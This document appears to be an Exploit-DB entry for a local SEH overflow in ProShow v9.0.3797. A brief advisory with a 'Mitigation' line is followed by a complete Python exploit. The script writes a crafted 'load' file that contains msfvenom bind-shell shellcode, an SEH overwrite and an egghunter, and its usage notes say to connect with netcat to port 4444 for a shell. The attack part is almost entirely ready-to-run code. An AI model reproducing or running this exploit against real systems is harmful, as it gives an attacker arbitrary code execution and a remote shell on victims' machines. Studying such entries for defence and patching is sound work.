ProShow v9.0.3797 Local Exploit

vendor:

ProShow

by:

Yonatan_Correa

9.3

CVSS

HIGH

Local Exploit

N/A

CWE

Product Name: ProShow

Affected Version From: v9.0.3797

Affected Version To: v9.0.3797

Patch Exists: YES

Related CWE: N/A

CPE: a:photodex:proshow

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7

2019

ProShow v9.0.3797 Local Exploit

ProShow v9.0.3797 is vulnerable to a local exploit which allows an attacker to execute arbitrary code on the target system. The exploit involves creating a file called 'load' and copying it to the ProShow Producer directory. When the ProShow.exe is executed, the malicious code is executed and a connection is established with the attacker's machine on port 4444.

Mitigation:

Update to the latest version of ProShow.

Source

Exploit-DB raw data:

#!/usr/bin/python
# _*_ coding:utf-8 _*_

# Exploit Title: ProShow v9.0.3797 Local Exploit
# Exploit Author: @Yonatan_Correa
# website with details: https://risataim.blogspot.com/2019/06/exploit-local-para-proshow.html
# Vendor Homepage: http://www.photodex.com/ProShow
# Software Link: http://files.photodex.com/release/pspro_90_3797.exe
# Version: v9.0.3797
# Tested on: Wind 7

from struct import pack

informacion = """

	ProShow v9.0.3797
	http://www.photodex.com/ProShow


	execute exploit
	create a file called "load"
	copy load "C:\Program Files\Photodex\ProShow Producer\"
	"C:\Program Files\Photodex\ProShow Producer\proshow.exe"
	And connect nc -nv IP_Host 4444

	Testing: Windows 7
	@Yonatan_Correa
	https://risataim.blogspot.com/2019/06/exploit-local-para-proshow.html
"""


# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -e x86/alpha_mixed LPORT=4444 EXITFUNC=seh -f c
# Payload size: 717 bytes
shell = "yonayona" + ("\x89\xe5\xda\xc2\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x6b"
"\x4c\x59\x78\x4f\x72\x57\x70\x65\x50\x45\x50\x53\x50\x6d\x59"
"\x39\x75\x75\x61\x4f\x30\x45\x34\x6c\x4b\x30\x50\x66\x50\x6e"
"\x6b\x30\x52\x74\x4c\x6e\x6b\x36\x32\x77\x64\x6c\x4b\x72\x52"
"\x36\x48\x66\x6f\x4c\x77\x42\x6a\x46\x46\x75\x61\x79\x6f\x4e"
"\x4c\x55\x6c\x50\x61\x51\x6c\x55\x52\x64\x6c\x77\x50\x79\x51"
"\x38\x4f\x36\x6d\x53\x31\x79\x57\x4a\x42\x49\x62\x42\x72\x42"
"\x77\x4e\x6b\x32\x72\x64\x50\x4e\x6b\x71\x5a\x55\x6c\x4c\x4b"
"\x32\x6c\x37\x61\x31\x68\x79\x73\x43\x78\x67\x71\x58\x51\x52"
"\x71\x4c\x4b\x51\x49\x65\x70\x43\x31\x68\x53\x4c\x4b\x70\x49"
"\x42\x38\x4a\x43\x47\x4a\x71\x59\x6c\x4b\x76\x54\x6e\x6b\x53"
"\x31\x4e\x36\x64\x71\x79\x6f\x4c\x6c\x69\x51\x38\x4f\x66\x6d"
"\x67\x71\x48\x47\x56\x58\x6d\x30\x64\x35\x38\x76\x65\x53\x53"
"\x4d\x59\x68\x35\x6b\x73\x4d\x65\x74\x54\x35\x58\x64\x72\x78"
"\x4c\x4b\x52\x78\x46\x44\x76\x61\x58\x53\x35\x36\x4c\x4b\x56"
"\x6c\x50\x4b\x4e\x6b\x30\x58\x57\x6c\x57\x71\x49\x43\x4e\x6b"
"\x75\x54\x4e\x6b\x56\x61\x48\x50\x4f\x79\x42\x64\x75\x74\x64"
"\x64\x61\x4b\x43\x6b\x33\x51\x43\x69\x50\x5a\x73\x61\x69\x6f"
"\x6b\x50\x63\x6f\x53\x6f\x32\x7a\x6c\x4b\x47\x62\x5a\x4b\x4c"
"\x4d\x71\x4d\x43\x58\x70\x33\x77\x42\x35\x50\x53\x30\x35\x38"
"\x63\x47\x43\x43\x34\x72\x61\x4f\x46\x34\x71\x78\x62\x6c\x51"
"\x67\x67\x56\x73\x37\x39\x6f\x58\x55\x68\x38\x4a\x30\x67\x71"
"\x33\x30\x35\x50\x76\x49\x78\x44\x46\x34\x36\x30\x62\x48\x46"
"\x49\x6b\x30\x50\x6b\x65\x50\x79\x6f\x48\x55\x43\x5a\x37\x78"
"\x50\x59\x62\x70\x5a\x42\x4b\x4d\x51\x50\x70\x50\x73\x70\x30"
"\x50\x61\x78\x4b\x5a\x44\x4f\x39\x4f\x39\x70\x69\x6f\x68\x55"
"\x4d\x47\x70\x68\x77\x72\x43\x30\x47\x61\x73\x6c\x4f\x79\x4d"
"\x36\x52\x4a\x66\x70\x31\x46\x61\x47\x35\x38\x69\x52\x39\x4b"
"\x44\x77\x73\x57\x69\x6f\x6b\x65\x76\x37\x71\x78\x78\x37\x4a"
"\x49\x64\x78\x39\x6f\x79\x6f\x79\x45\x62\x77\x62\x48\x54\x34"
"\x78\x6c\x57\x4b\x79\x71\x79\x6f\x5a\x75\x63\x67\x4e\x77\x33"
"\x58\x30\x75\x32\x4e\x70\x4d\x33\x51\x59\x6f\x6a\x75\x65\x38"
"\x53\x53\x50\x6d\x71\x74\x47\x70\x4b\x39\x6a\x43\x61\x47\x76"
"\x37\x36\x37\x76\x51\x6b\x46\x72\x4a\x37\x62\x52\x79\x63\x66"
"\x7a\x42\x6b\x4d\x61\x76\x6f\x37\x32\x64\x55\x74\x45\x6c\x76"
"\x61\x75\x51\x4e\x6d\x43\x74\x77\x54\x34\x50\x49\x56\x47\x70"
"\x51\x54\x32\x74\x56\x30\x62\x76\x73\x66\x52\x76\x43\x76\x56"
"\x36\x62\x6e\x50\x56\x71\x46\x53\x63\x51\x46\x61\x78\x52\x59"
"\x5a\x6c\x67\x4f\x4d\x56\x59\x6f\x6e\x35\x6c\x49\x6d\x30\x70"
"\x4e\x71\x46\x61\x56\x79\x6f\x44\x70\x45\x38\x56\x68\x4c\x47"
"\x45\x4d\x75\x30\x6b\x4f\x79\x45\x4d\x6b\x4b\x4e\x76\x6e\x54"
"\x72\x48\x6a\x35\x38\x59\x36\x5a\x35\x6d\x6d\x6d\x4d\x49\x6f"
"\x6e\x35\x55\x6c\x36\x66\x43\x4c\x44\x4a\x4d\x50\x59\x6b\x6b"
"\x50\x72\x55\x75\x55\x6f\x4b\x32\x67\x74\x53\x74\x32\x70\x6f"
"\x72\x4a\x73\x30\x52\x73\x39\x6f\x59\x45\x41\x41")

junk  = shell + ("\x41" * 9479) # 10204
nseh = "\xEB\x06\x90\x90"
seh = pack('<I',0x10045f50) # pop pop ret
nop = "\x90" * 86
nop2 = "\x90" * 10

egg = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x79\x6f\x6e\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

todo = junk + nseh + seh + nop + egg + nop2

arch = open("load", "wb")
arch.write(todo)
arch.close()

print informacion
print "\nCreated File size " + str(len(todo))